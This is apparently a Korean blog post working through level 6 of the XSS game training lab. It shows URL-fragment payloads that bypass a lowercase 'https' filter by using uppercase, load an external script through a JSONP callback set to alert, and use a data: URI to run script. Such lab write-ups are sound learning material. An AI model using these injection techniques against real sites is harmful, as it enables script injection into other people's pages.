일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- document
- property
- python
- burp suite
- 백준 파이썬
- 포인터
- IF문
- object
- github
- sql injection
- element 조회
- 함수
- jQuery
- 백준 알고리즘
- Pwndbg
- 메소드
- 배열
- 김성엽 대표님
- 파이썬
- 조건문
- 자바스크립트
- 사칙연산
- xss game 풀이
- suninatas 풀이
- xss game
- 객체
- lord of sql injection
- htmlspecialchars
- window
- blind sql injection
- Today
- Total
power-girl0-0
[XSS game] level 6 본문
XSS game 주소
미션 설명
복잡한 웹 응용 프로그램은 URL 매개 변수 값 또는 location.hash의 일부에 따라 JavaScript 라이브러리를 동적으로 로드할 수 있습니다.
이 작업은 올바르게 수행하기가 매우 어렵습니다.
스크립트나 XMLHttpRequest와 같이 잠재적으로 위험한 유형의 데이터를 로드할 때 사용자 입력이 URL에 영향을 미치도록 허용하면 심각한 취약성으로 이어지는 경우가 많습니다.
미션 목표
응용 프로그램이 외부 파일을 요청하도록 하여 alert()를 실행합니다.
풀이
해당 문제의 소스코드를 확인해보니, url에서 https://형태의 값이 있는지 필터링한다.
필터링 성공시, 해당 url에 있는 script 코드를 그대로 load한다.
따라서, 외부의 링크에서 악성 스크립트를 생성해서 #뒤에 넘겨주면 그대로 실행될 것으로 보인다.
그래서 alert를 명령어가 들어간 alert.js라는 스크립트 코드를 만들어서, 아래와 같이 전달해보았다.
http에 대한 필터링은 소문자만 하고 대문자에 대한 필터링은 없기 때문에 대문자로 값을 전달해보았다.
https://xss-game.appspot.com/level6/frame#HTTPS://내 ip/alert.js |
하지만, alert.js가 실행되지 않는다.
그래서 힌트를 참고해보니, 4번에서 If you can't easily host your own evil JS file, see if google.com/jsapi?callback=foo will help you here.라고 작성되어있다.
힌트를 참고하여 google.com/jsapi?callback=foo 주소에 접속해니, 아래와 같은 화면이 출력되었다.
접속해보니 callback 값으로 foo()함수를 호출하고 있는 것을 확인할 수 있었다.
이를 내 서버 대신해서 이 서버로, alert창을 띄우면 되지 않을까?라는 생각에 #뒤에 입력해 보았다.
xss-game.appspot.com/level6/frame#HTTPS://www.gstatic.com/charts/loader.js?callback=alert |
이렇게 하니, callback의 인자값으로 alert가 전달되면서 alert창이 출력되었다.
이렇게 문제 CLEAR!!!
또 다른 풀이가 있어서, 추가 업로드 한다.
해당 풀이는 서버를 사용하지 않고, data url schema를 사용해서 풀 수 있다.
data url schema에 대한 내용은 아래 주소를 참고하면 된다.
2021/02/14 - [웹해킹] - Data URI Schema (Data URIs)
따라서, 데이터를 url로 변경해서 data:[자료타입],[데이터] 형식으로 입력하면 된다.
xss-game.appspot.com/level6/frame#data:javascript,alert('dohyeon'); |
해당 문제를 바탕으로 XSS game을 다 풀 수 있었다!!❤
짜란~~~>_<
'War game > XSS game' 카테고리의 다른 글
[XSS game] level 5 (0) | 2021.02.14 |
---|---|
[XSS game] level 4 (0) | 2021.02.13 |
[XSS game] level 3 (0) | 2020.12.28 |
[XSS game] level 2 (0) | 2020.12.28 |
[XSS game] level 1 (0) | 2020.12.28 |